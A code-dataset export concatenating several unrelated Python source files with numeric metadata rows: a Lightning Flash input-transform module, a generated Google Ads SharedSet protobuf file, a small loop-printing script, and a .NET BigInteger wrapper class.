the value associated with the "input" key of each single sample on device for the validating stage.""" pass def val_target_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on device for the validating stage.""" pass def test_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on a batch of data on device for the testing stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } """ pass def test_input_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on device for the testing stage.""" pass def test_target_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on device for the testing stage.""" pass def predict_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on a batch of data on device for the predicting stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_batch_transform_on_device(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def predict_input_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on device for the predicting stage.""" pass def predict_target_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on device for the predicting stage.""" pass ########### # COLLATE # ########### def train_collate(self) -> Callable: """Defines the transform to be applied on a list of training sample to create a training batch.""" return default_collate def val_collate(self) -> Callable: """Defines the transform to be applied on a list of validating sample to create a validating batch.""" return default_collate def test_collate(self) -> Callable: """Defines the transform to be applied on a list of testing sample to create a testing batch.""" return default_collate def predict_collate(self) -> Callable: """Defines the transform to be applied on a list of predicting sample to create a predicting batch.""" return default_collate def serve_collate(self) -> Callable: """Defines the transform to be applied on a list of serving sample to create a serving batch.""" return default_collate def collate(self) -> Callable: """Defines the transform to be applied on a list of sample to create a batch for all stages.""" return default_collate ######################################## # HOOKS CALLED INTERNALLY WITHIN FLASH # ######################################## def _per_sample_transform(self, sample: Any, stage: RunningStage) -> Any: fn = self.current_transform(stage=stage, current_fn="per_sample_transform") if isinstance(sample, list): return [fn(s) for s in sample] return fn(sample) def _per_batch_transform(self, batch: Any, stage: RunningStage) -> Any: """Transforms to apply to a whole batch (if possible use this for efficiency). .. note:: This option is mutually exclusive with :meth:`per_sample_transform_on_device`, since if both are specified, uncollation has to be applied. """ return self.current_transform(stage=stage, current_fn="per_batch_transform")(batch) def _collate(self, samples: Sequence, stage: RunningStage) -> Any: """Transform to convert a sequence of samples to a collated batch.""" return self.current_transform(stage=stage, current_fn="collate")(samples) def _per_sample_transform_on_device(self, sample: Any, stage: RunningStage) -> Any: """Transforms to apply to the data before the collation (per-sample basis). .. note:: This option is mutually exclusive with :meth:`per_batch_transform`, since if both are specified, uncollation has to be applied. .. note:: This function won't be called within the dataloader workers, since to make that happen each of the workers would have to create it's own CUDA-context which would pollute GPU memory (if on GPU). """ fn = self.current_transform(stage=stage, current_fn="per_sample_transform_on_device") if isinstance(sample, list): return [fn(s) for s in sample] return fn(sample) def _per_batch_transform_on_device(self, batch: Any, stage: RunningStage) -> Any: """Transforms to apply to a whole batch (if possible use this for efficiency). .. note:: This function won't be called within the dataloader workers, since to make that happen each of the workers would have to create it's own CUDA-context which would pollute GPU memory (if on GPU). """ return self.current_transform(stage=stage, current_fn="per_batch_transform_on_device")(batch) ############# # UTILITIES # ############# def inject_collate_fn(self, collate_fn: Callable): # For all the stages possible, set collate function if collate_fn is not default_collate: for stage in RunningStage: if stage not in [RunningStage.SANITY_CHECKING, RunningStage.TUNING]: self._transform[stage].transforms[InputTransformPlacement.COLLATE.value] = collate_fn def _populate_transforms_for_stage(self, running_stage: RunningStage): transform, collate_in_worker = self.__check_transforms( transform=self.__resolve_transforms(running_stage), stage=running_stage ) if self._transform is None: self._transform = {} self._transform[running_stage] = _InputTransformPerStage( collate_in_worker_from_transform=collate_in_worker, transforms=transform, ) def __resolve_transforms(self, running_stage: RunningStage) -> Optional[Dict[str, Callable]]: from flash.core.data.data_pipeline import DataPipeline transforms_out = {} stage = _STAGES_PREFIX[running_stage] # iterate over all transforms hook name for transform_name in InputTransformPlacement: transforms = {} transform_name = transform_name.value # iterate over all prefixes for key in ApplyToKeyPrefix: # get the resolved hook name based on the current stage resolved_name = DataPipeline._resolve_function_hierarchy( transform_name, self, running_stage, InputTransform ) # check if the hook name is specialized is_specialized_name = resolved_name.startswith(stage) # get the resolved hook name for apply to key on the current stage resolved_apply_to_key_name = DataPipeline._resolve_function_hierarchy( f"{key}_{transform_name}", self, running_stage, InputTransform ) # check if resolved hook name for apply to key is specialized is_specialized_apply_to_key_name = resolved_apply_to_key_name.startswith(stage) # check if they are overridden by the user resolve_name_overridden = DataPipeline._is_overridden(resolved_name, self, InputTransform) resolved_apply_to_key_name_overridden = DataPipeline._is_overridden( resolved_apply_to_key_name, self, InputTransform ) if resolve_name_overridden and resolved_apply_to_key_name_overridden: # if both are specialized or both aren't specialized, raise a exception # It means there is priority to specialize hooks name. if not (is_specialized_name ^ is_specialized_apply_to_key_name): raise MisconfigurationException( f"Only one of {resolved_name} or {resolved_apply_to_key_name} can be overridden." ) method_name = resolved_name if is_specialized_name else resolved_apply_to_key_name else: method_name = resolved_apply_to_key_name if resolved_apply_to_key_name_overridden else resolved_name # get associated transform try: fn = getattr(self, method_name)() except AttributeError as e: raise AttributeError(str(e) + ". Hint: Call super().__init__(...) after setting all attributes.") if fn is None: continue if not callable(fn): raise MisconfigurationException(f"The hook {method_name} should return a function.") # wrap apply to key hook into `ApplyToKeys` with the associated key. if method_name == resolved_apply_to_key_name: fn = ApplyToKeys(key.value, fn) if method_name not in transforms: transforms[method_name] = fn # store the transforms. if transforms: transforms = list(transforms.values()) transforms_out[transform_name] = Compose(transforms) if len(transforms) > 1 else transforms[0] return transforms_out def __check_transforms( self, transform: Optional[Dict[str, Callable]], stage: RunningStage ) -> Tuple[Optional[Dict[str, Callable]], Optional[bool]]: if transform is None: return transform keys_diff = set(transform.keys()).difference([v.value for v in InputTransformPlacement]) if len(keys_diff) > 0: raise MisconfigurationException( f"{stage}_transform contains {keys_diff}. Only {_INPUT_TRANSFORM_FUNCS} keys are supported." ) is_per_batch_transform_in = "per_batch_transform" in transform is_per_sample_transform_on_device_in = "per_sample_transform_on_device" in transform if is_per_batch_transform_in and is_per_sample_transform_on_device_in: raise MisconfigurationException( f"{transform}: `per_batch_transform` and `per_sample_transform_on_device` are mutually exclusive." ) collate_in_worker: Optional[bool] = None if is_per_batch_transform_in or (not is_per_batch_transform_in and not is_per_sample_transform_on_device_in): collate_in_worker = True elif is_per_sample_transform_on_device_in: collate_in_worker = False return transform, collate_in_worker @staticmethod def _identity(x: Any) -> Any: return x def __str__(self) -> str: return f"{self.__class__.__name__}(" + f"running_stage={self.running_stage}, transform={self._transform})" def __getitem__(self, placement: InputTransformPlacement) -> Callable: return self._transform[placement] @dataclass class LambdaInputTransform(InputTransform): transform: Callable = InputTransform._identity def per_sample_transform(self) -> Callable: return self.transform def create_or_configure_input_transform( transform: INPUT_TRANSFORM_TYPE, transform_kwargs: Optional[Dict] = None, ) -> Optional[InputTransform]: if not transform_kwargs: transform_kwargs = {} if isinstance(transform, InputTransform): return transform if inspect.isclass(transform) and issubclass(transform, InputTransform): # Deprecation Warning rank_zero_warn( "Please pass an instantiated object of the `InputTransform` class. Passing the Class and keyword arguments" " separately has been deprecated since v0.8.0 and will be removed in v0.9.0.", stacklevel=8, category=FutureWarning, ) return transform(**transform_kwargs) if isinstance(transform, partial): return transform(**transform_kwargs) if isinstance(transform, Callable): return LambdaInputTransform( transform=transform, **transform_kwargs, ) if not transform: return None raise MisconfigurationException(f"The format for the transform isn't correct. Found {transform}") class _InputTransformProcessor: """ This class is used to encapsulate the following functions of an `InputTransform` Object: Inside a worker: per_sample_transform: Function to transform an individual sample collate: Function to merge sample into a batch per_batch_transform: Function to transform an individual batch Inside main process: per_sample_transform_on_device: Function to transform an individual sample collate: Function to merge sample into a batch per_batch_transform_on_device: Function to transform an individual batch """ def __init__( self, input_transform: InputTransform, collate_fn: Callable, per_sample_transform: Callable, per_batch_transform: Callable, stage: RunningStage, apply_per_sample_transform: bool = True, on_device: bool = False, ): super().__init__() self.input_transform = input_transform self.callback = ControlFlow(self.input_transform.callbacks or []) self.collate_fn = collate_fn self.per_sample_transform = per_sample_transform self.per_batch_transform = per_batch_transform self.apply_per_sample_transform = apply_per_sample_transform self.stage = stage self.on_device = on_device def __call__(self, samples: Sequence[Any]) -> Any: if not self.on_device: for sample in samples: self.callback.on_load_sample(sample, self.stage) if self.apply_per_sample_transform: if not isinstance(samples, list): list_samples = [samples] else: list_samples = samples transformed_samples = [self.per_sample_transform(sample, self.stage) for sample in list_samples] for sample in transformed_samples: if self.on_device: self.callback.on_per_sample_transform_on_device(sample, self.stage) else: self.callback.on_per_sample_transform(sample, self.stage) collated_samples = self.collate_fn(transformed_samples, self.stage) self.callback.on_collate(collated_samples, self.stage) else: collated_samples = samples transformed_collated_samples = self.per_batch_transform(collated_samples, self.stage) if self.on_device: self.callback.on_per_batch_transform_on_device(transformed_collated_samples, self.stage) else: self.callback.on_per_batch_transform(transformed_collated_samples, self.stage) return transformed_collated_samples def __str__(self) -> str: # todo: define repr function which would take object and string attributes to be shown return ( "_InputTransformProcessor:\n" f"\t(per_sample_transform): {str(self.per_sample_transform)}\n" f"\t(collate_fn): {str(self.collate_fn)}\n" f"\t(per_batch_transform): {str(self.per_batch_transform)}\n" f"\t(apply_per_sample_transform): {str(self.apply_per_sample_transform)}\n" f"\t(on_device): {str(self.on_device)}\n" f"\t(stage): {str(self.stage)}" ) def __make_collates(input_transform: InputTransform, on_device: bool, collate: Callable) -> Tuple[Callable, Callable]: """Returns the appropriate collate functions based on whether the transforms happen in a DataLoader worker or on the device (main process).""" if on_device: return input_transform._identity, collate return collate, input_transform._identity def __configure_worker_and_device_collate_fn( running_stage: RunningStage, input_transform: InputTransform ) -> Tuple[Callable, Callable]: from flash.core.data.data_pipeline import DataPipeline prefix: str = _STAGES_PREFIX[running_stage] transform_for_stage: _InputTransformPerStage = input_transform._transform[running_stage] per_batch_transform_overridden: bool = DataPipeline._is_overridden_recursive( "per_batch_transform", input_transform, InputTransform, prefix=prefix ) per_sample_transform_on_device_overridden: bool = DataPipeline._is_overridden_recursive( "per_sample_transform_on_device", input_transform, InputTransform, prefix=prefix ) is_per_overridden = per_batch_transform_overridden and per_sample_transform_on_device_overridden if transform_for_stage.collate_in_worker_from_transform is None and is_per_overridden: raise MisconfigurationException( f"{input_transform.__class__.__name__}: `per_batch_transform` and `per_sample_transform_on_device` " f"are mutually exclusive for stage {running_stage}" ) if isinstance(transform_for_stage.collate_in_worker_from_transform, bool): worker_collate_fn, device_collate_fn = __make_collates( input_transform, not transform_for_stage.collate_in_worker_from_transform, input_transform._collate ) else: worker_collate_fn, device_collate_fn = __make_collates( input_transform, per_sample_transform_on_device_overridden, input_transform._collate ) worker_collate_fn = ( worker_collate_fn.collate_fn if isinstance(worker_collate_fn, _InputTransformProcessor) else worker_collate_fn ) return worker_collate_fn, device_collate_fn def create_worker_input_transform_processor( running_stage: RunningStage, input_transform: InputTransform ) -> _InputTransformProcessor: """This utility is used to create the 2 `_InputTransformProcessor` objects which contain the transforms used as the DataLoader `collate_fn`.""" worker_collate_fn, _ = __configure_worker_and_device_collate_fn( running_stage=running_stage, input_transform=input_transform ) worker_input_transform_processor = _InputTransformProcessor( input_transform, worker_collate_fn, input_transform._per_sample_transform, input_transform._per_batch_transform, running_stage, ) return worker_input_transform_processor def create_device_input_transform_processor( running_stage: RunningStage, input_transform: InputTransform ) -> _InputTransformProcessor: """This utility is used to create a `_InputTransformProcessor` object which contain the transforms used as the DataModule `on_after_batch_transfer` hook.""" _, device_collate_fn = __configure_worker_and_device_collate_fn( running_stage=running_stage, input_transform=input_transform ) device_input_transform_processor = _InputTransformProcessor( input_transform, device_collate_fn, input_transform._per_sample_transform_on_device, input_transform._per_batch_transform_on_device, running_stage, apply_per_sample_transform=device_collate_fn != input_transform._identity, on_device=True, ) return device_input_transform_processor
38.09061
120
0.648674
5,503
46,242
5.24841
0.065601
0.029638
0.051104
0.054844
0.725088
0.688941
0.643238
0.615435
0.594938
0.585174
0
0.000447
0.27408
46,242
1,213
121
38.122012
0.859956
0.438692
0
0.269565
0
0.002174
0.079551
0.036452
0
0
0
0.000824
0
1
0.213043
false
0.145652
0.032609
0.01087
0.358696
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
52a7bb8061d2a7831f792c5ce19bca7393244db9
11,046
py
Python
google/ads/google_ads/v6/proto/resources/shared_set_pb2.py
jphanwebstaurant/google-ads-python
600812b2afcc4d57f00b47dfe436620ce50bfe9b
[ "Apache-2.0" ]
1
2021-04-09T04:28:47.000Z
2021-04-09T04:28:47.000Z
google/ads/google_ads/v6/proto/resources/shared_set_pb2.py
jphanwebstaurant/google-ads-python
600812b2afcc4d57f00b47dfe436620ce50bfe9b
[ "Apache-2.0" ]
null
null
null
google/ads/google_ads/v6/proto/resources/shared_set_pb2.py
jphanwebstaurant/google-ads-python
600812b2afcc4d57f00b47dfe436620ce50bfe9b
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/ads/googleads_v6/proto/resources/shared_set.proto from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.ads.google_ads.v6.proto.enums import shared_set_status_pb2 as google_dot_ads_dot_googleads__v6_dot_proto_dot_enums_dot_shared__set__status__pb2 from google.ads.google_ads.v6.proto.enums import shared_set_type_pb2 as google_dot_ads_dot_googleads__v6_dot_proto_dot_enums_dot_shared__set__type__pb2 from google.api import field_behavior_pb2 as google_dot_api_dot_field__behavior__pb2 from google.api import resource_pb2 as google_dot_api_dot_resource__pb2 from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='google/ads/googleads_v6/proto/resources/shared_set.proto', package='google.ads.googleads.v6.resources', syntax='proto3', serialized_options=b'\n%com.google.ads.googleads.v6.resourcesB\016SharedSetProtoP\001ZJgoogle.golang.org/genproto/googleapis/ads/googleads/v6/resources;resources\242\002\003GAA\252\002!Google.Ads.GoogleAds.V6.Resources\312\002!Google\\Ads\\GoogleAds\\V6\\Resources\352\002%Google::Ads::GoogleAds::V6::Resources', create_key=_descriptor._internal_create_key, serialized_pb=b'\n8google/ads/googleads_v6/proto/resources/shared_set.proto\x12!google.ads.googleads.v6.resources\x1a;google/ads/googleads_v6/proto/enums/shared_set_status.proto\x1a\x39google/ads/googleads_v6/proto/enums/shared_set_type.proto\x1a\x1fgoogle/api/field_behavior.proto\x1a\x19google/api/resource.proto\x1a\x1cgoogle/api/annotations.proto\"\xf8\x03\n\tSharedSet\x12\x41\n\rresource_name\x18\x01 \x01(\tB*\xe0\x41\x05\xfa\x41$\n\"googleads.googleapis.com/SharedSet\x12\x14\n\x02id\x18\x08 \x01(\x03\x42\x03\xe0\x41\x03H\x00\x88\x01\x01\x12Q\n\x04type\x18\x03 \x01(\x0e\x32>.google.ads.googleads.v6.enums.SharedSetTypeEnum.SharedSetTypeB\x03\xe0\x41\x05\x12\x11\n\x04name\x18\t \x01(\tH\x01\x88\x01\x01\x12W\n\x06status\x18\x05 \x01(\x0e\x32\x42.google.ads.googleads.v6.enums.SharedSetStatusEnum.SharedSetStatusB\x03\xe0\x41\x03\x12\x1e\n\x0cmember_count\x18\n \x01(\x03\x42\x03\xe0\x41\x03H\x02\x88\x01\x01\x12!\n\x0freference_count\x18\x0b \x01(\x03\x42\x03\xe0\x41\x03H\x03\x88\x01\x01:[\xea\x41X\n\"googleads.googleapis.com/SharedSet\x12\x32\x63ustomers/{customer_id}/sharedSets/{shared_set_id}B\x05\n\x03_idB\x07\n\x05_nameB\x0f\n\r_member_countB\x12\n\x10_reference_countB\xfb\x01\n%com.google.ads.googleads.v6.resourcesB\x0eSharedSetProtoP\x01ZJgoogle.golang.org/genproto/googleapis/ads/googleads/v6/resources;resources\xa2\x02\x03GAA\xaa\x02!Google.Ads.GoogleAds.V6.Resources\xca\x02!Google\\Ads\\GoogleAds\\V6\\Resources\xea\x02%Google::Ads::GoogleAds::V6::Resourcesb\x06proto3' , dependencies=[google_dot_ads_dot_googleads__v6_dot_proto_dot_enums_dot_shared__set__status__pb2.DESCRIPTOR,google_dot_ads_dot_googleads__v6_dot_proto_dot_enums_dot_shared__set__type__pb2.DESCRIPTOR,google_dot_api_dot_field__behavior__pb2.DESCRIPTOR,google_dot_api_dot_resource__pb2.DESCRIPTOR,google_dot_api_dot_annotations__pb2.DESCRIPTOR,]) _SHAREDSET = _descriptor.Descriptor( name='SharedSet', full_name='google.ads.googleads.v6.resources.SharedSet', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='resource_name', full_name='google.ads.googleads.v6.resources.SharedSet.resource_name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\005\372A$\n\"googleads.googleapis.com/SharedSet', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='id', full_name='google.ads.googleads.v6.resources.SharedSet.id', index=1, number=8, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\003', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='type', full_name='google.ads.googleads.v6.resources.SharedSet.type', index=2, number=3, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\005', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='name', full_name='google.ads.googleads.v6.resources.SharedSet.name', index=3, number=9, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='google.ads.googleads.v6.resources.SharedSet.status', index=4, number=5, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\003', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='member_count', full_name='google.ads.googleads.v6.resources.SharedSet.member_count', index=5, number=10, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\003', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reference_count', full_name='google.ads.googleads.v6.resources.SharedSet.reference_count', index=6, number=11, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\340A\003', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'\352AX\n\"googleads.googleapis.com/SharedSet\0222customers/{customer_id}/sharedSets/{shared_set_id}', is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='_id', full_name='google.ads.googleads.v6.resources.SharedSet._id', index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_name', full_name='google.ads.googleads.v6.resources.SharedSet._name', index=1, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_member_count', full_name='google.ads.googleads.v6.resources.SharedSet._member_count', index=2, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_reference_count', full_name='google.ads.googleads.v6.resources.SharedSet._reference_count', index=3, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), ], serialized_start=306, serialized_end=810, ) _SHAREDSET.fields_by_name['type'].enum_type = google_dot_ads_dot_googleads__v6_dot_proto_dot_enums_dot_shared__set__type__pb2._SHAREDSETTYPEENUM_SHAREDSETTYPE _SHAREDSET.fields_by_name['status'].enum_type = google_dot_ads_dot_googleads__v6_dot_proto_dot_enums_dot_shared__set__status__pb2._SHAREDSETSTATUSENUM_SHAREDSETSTATUS _SHAREDSET.oneofs_by_name['_id'].fields.append( _SHAREDSET.fields_by_name['id']) _SHAREDSET.fields_by_name['id'].containing_oneof = _SHAREDSET.oneofs_by_name['_id'] _SHAREDSET.oneofs_by_name['_name'].fields.append( _SHAREDSET.fields_by_name['name']) _SHAREDSET.fields_by_name['name'].containing_oneof = _SHAREDSET.oneofs_by_name['_name'] _SHAREDSET.oneofs_by_name['_member_count'].fields.append( _SHAREDSET.fields_by_name['member_count']) _SHAREDSET.fields_by_name['member_count'].containing_oneof = _SHAREDSET.oneofs_by_name['_member_count'] _SHAREDSET.oneofs_by_name['_reference_count'].fields.append( _SHAREDSET.fields_by_name['reference_count']) _SHAREDSET.fields_by_name['reference_count'].containing_oneof = _SHAREDSET.oneofs_by_name['_reference_count'] DESCRIPTOR.message_types_by_name['SharedSet'] = _SHAREDSET _sym_db.RegisterFileDescriptor(DESCRIPTOR) SharedSet = _reflection.GeneratedProtocolMessageType('SharedSet', (_message.Message,), { 'DESCRIPTOR' : _SHAREDSET, '__module__' : 'google.ads.googleads_v6.proto.resources.shared_set_pb2' , '__doc__': """SharedSets are used for sharing criterion exclusions across multiple campaigns. Attributes: resource_name: Immutable. The resource name of the shared set. Shared set resource names have the form: ``customers/{customer_id}/sharedSets/{shared_set_id}`` id: Output only. The ID of this shared set. Read only. type: Immutable. The type of this shared set: each shared set holds only a single kind of resource. Required. Immutable. name: The name of this shared set. Required. Shared Sets must have names that are unique among active shared sets of the same type. The length of this string should be between 1 and 255 UTF-8 bytes, inclusive. status: Output only. The status of this shared set. Read only. member_count: Output only. The number of shared criteria within this shared set. Read only. reference_count: Output only. The number of campaigns associated with this shared set. Read only. """, # @@protoc_insertion_point(class_scope:google.ads.googleads.v6.resources.SharedSet) }) _sym_db.RegisterMessage(SharedSet) DESCRIPTOR._options = None _SHAREDSET.fields_by_name['resource_name']._options = None _SHAREDSET.fields_by_name['id']._options = None _SHAREDSET.fields_by_name['type']._options = None _SHAREDSET.fields_by_name['status']._options = None _SHAREDSET.fields_by_name['member_count']._options = None _SHAREDSET.fields_by_name['reference_count']._options = None _SHAREDSET._options = None # @@protoc_insertion_point(module_scope)
58.444444
1,499
0.779558
1,543
11,046
5.232664
0.160078
0.053134
0.057221
0.071836
0.698662
0.638469
0.500867
0.439188
0.411568
0.37887
0
0.042624
0.10583
11,046
188
1,500
58.755319
0.77483
0.026978
0
0.311377
1
0.017964
0.390187
0.254259
0
0
0
0
0
1
0
false
0
0.053892
0
0.053892
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
52c4acd2d2a5426d20652531bc70630c947940a9
247
py
Python
Py_Print_Function_With_Loop.py
ZeroHero77/PythonChallenges
516f02d6dcc65b47563642de9707bb32ac392f21
[ "MIT" ]
null
null
null
Py_Print_Function_With_Loop.py
ZeroHero77/PythonChallenges
516f02d6dcc65b47563642de9707bb32ac392f21
[ "MIT" ]
null
null
null
Py_Print_Function_With_Loop.py
ZeroHero77/PythonChallenges
516f02d6dcc65b47563642de9707bb32ac392f21
[ "MIT" ]
null
null
null
import re n = int(input()) def loopai(n): x = [i+1 for i in range(n)] z = x print(re.sub(' ','',re.sub('\,','',re.sub('\]','',re.sub('\[','',str(z)))))) def main(): loopai(n) if __name__ == '__main__': main()
16.466667
81
0.441296
37
247
2.72973
0.540541
0.19802
0.207921
0.29703
0.19802
0.19802
0
0
0
0
0
0.005495
0.263158
247
14
82
17.642857
0.549451
0
0
0
0
0
0.064378
0
0
0
0
0
0
1
0.2
false
0
0.1
0
0.3
0.1
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
52d4e85bc2d0512c2b40fb706b7936fa8d8f91d2
5,239
py
Python
csbiginteger/BigIntegerNet.py
NeoResearch/csBigInteger.py
209046f6539a00b6dae9f5a58dda0fdba0ef20a2
[ "MIT" ]
2
2019-07-12T17:09:16.000Z
2019-07-26T03:17:56.000Z
csbiginteger/BigIntegerNet.py
NeoResearch/csbiginteger-py
209046f6539a00b6dae9f5a58dda0fdba0ef20a2
[ "MIT" ]
9
2019-07-15T06:48:19.000Z
2019-07-16T13:56:15.000Z
csbiginteger/BigIntegerNet.py
NeoResearch/csbiginteger-py
209046f6539a00b6dae9f5a58dda0fdba0ef20a2
[ "MIT" ]
null
null
null
#!/usr/bin/python3 from csbiginteger.BigInteger import BigInteger from functools import total_ordering # requires: pip install msl-loadlib pycparser pythonnet from msl.loadlib import LoadLibrary # remember to execute first: cd csbiginteger/dotnet && dotnet build -c Release net = LoadLibrary('csbiginteger/dotnet/bin/Release/netstandard2.0/publish/csbiginteger.dll', 'net') biglib = net.lib.csbiglib.BigIntegerLib() z = biglib.zero() print(bytearray(z.ToByteArray())) m1 = biglib.from_int32(-1) print(bytearray(m1.ToByteArray())) i255 = biglib.from_int32(255) print(bytearray(i255.ToByteArray())) b2 = biglib.from_bytes(bytearray(i255.ToByteArray())) print(biglib.to_int32(b2)) b3 = biglib.from_string("0xff", 16) print(biglib.to_int32(b3)) print(biglib.to_string(b3, 16)) print(biglib.to_string(b3, 10)) print(bytearray(biglib.to_bytes(b3))) @total_ordering class BigIntegerNet(BigInteger): # param may be: int, bytearray, bytes, string (parsed with base) # bytes and bytearray should be received in little-endian format (same as to_bytearray() returns) def __init__(self, param=0, base=10): if type(param) is int: param = str(param) # convert to base-10 integer base = 10 # force base 10 if type(param) is bytearray: param = bytes(param) # bytearray to bytes if type(param) is bytes: self._big = biglib.from_bytes(bytearray(param)) if type(param) is str: self._big = biglib.from_string(param, base) # returns value in signed int32 limit (or exception) def to_int(self): return biglib.to_int32(self._big) def to_long(self): return biglib.to_int64(self._big) # bytearray is returned in little-endian format def to_bytearray(self): return bytearray(biglib.to_bytes(self._big)) def to_str(self, base=16): return str(biglib.to_string(self._big, base)) def add(self, other): if type(other) is int: other = BigIntegerNet(other) big3 = BigIntegerNet() big3._big = self._big.Add(self._big, other._big) return big3 def sub(self, other): if type(other) is int: other = BigIntegerNet(other) big3 = BigIntegerNet() big3._big = self._big.Subtract(self._big, other._big) return big3 def mul(self, other): if type(other) is int: other = BigIntegerNet(other) big3 = BigIntegerNet() big3._big = self._big.Multiply(self._big, other._big) return big3 def div(self, other): if type(other) is int: other = BigIntegerNet(other) big3 = BigIntegerNet() big3._big = self._big.Divide(self._big, other._big) return big3 def mod(self, other): if type(other) is int: other = BigIntegerNet(other) big3 = BigIntegerNet() big3._big = self._big.DivRem(self._big, other._big) return big3 def shl(self, other): if type(other) is int: other = BigIntegerNet(other) big3 = BigIntegerNet() big3._big = self._big.op_LeftShift(other._big) return big3 def shr(self, other): if type(other) is int: other = BigIntegerNet(other) big3 = BigIntegerNet() big3._big = self._big.op_RightShift(other._big) return big3 def eq(self, other): if type(other) is int: other = BigIntegerNet(other) return self._big.op_Equality(other._big) def lt(self, other): if type(other) is int: other = BigIntegerNet(other) return self._big.op_LessThan(other._big) def __repr__(self): return str(self) def __str__(self): return self.to_str(10) def __len__(self): return len(self.to_bytearray()) # --------- # operators # --------- def __add__(self, other): return self.add(other) def __sub__(self, other): return self.sub(other) def __mul__(self, other): return self.mul(other) # note that python usually follows 'pure floor' operation here, on a // b => floor(a/b) # example: -5 // 2 => -3 (standard int on python) # however, this library follows hardware-standard (from c/c++/java/fortran), of truncating positive or negative # so, here: BigInteger(-5) // BigInteger(2) => -2 ("rounding" up, not down) # floordiv is thus not a good name, since it's only floor for positive division, but ceil for negative, but that's what we have :) def __floordiv__(self, other): return self.div(other) # truediv does not exist (using a // b) def __truediv__(self, other): return self.div(other) def __mod__(self, other): return self.mod(other) def __rshift__(self, other): return self.shr(other) def __lshift__(self, other): return self.shl(other) # comparisons # ----------- def __eq__(self, other): return self.eq(other) # def __gt__(self, other): # return self.gt(other) def __lt__(self, other): return self.lt(other)
27.719577
134
0.620538
674
5,239
4.639466
0.252226
0.044771
0.06236
0.066837
0.319476
0.292613
0.263192
0.21842
0.21842
0.21842
0
0.022378
0.266463
5,239
188
135
27.867021
0.791309
0.200993
0
0.298246
0
0
0.018736
0.017055
0
0
0.000961
0
0
1
0.236842
false
0
0.026316
0.149123
0.5
0.070175
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
52d62a879cc5245c35a6c1ccbaf5bd54273348f1
334
py
Python
addons/basic.py
dico-api/dicobot
4471c4d2f20cb7890c2ae818d87d852d1a442471
[ "MIT" ]
1
2021-09-18T13:26:18.000Z
2021-09-18T13:26:18.000Z
addons/basic.py
dico-api/dicobot
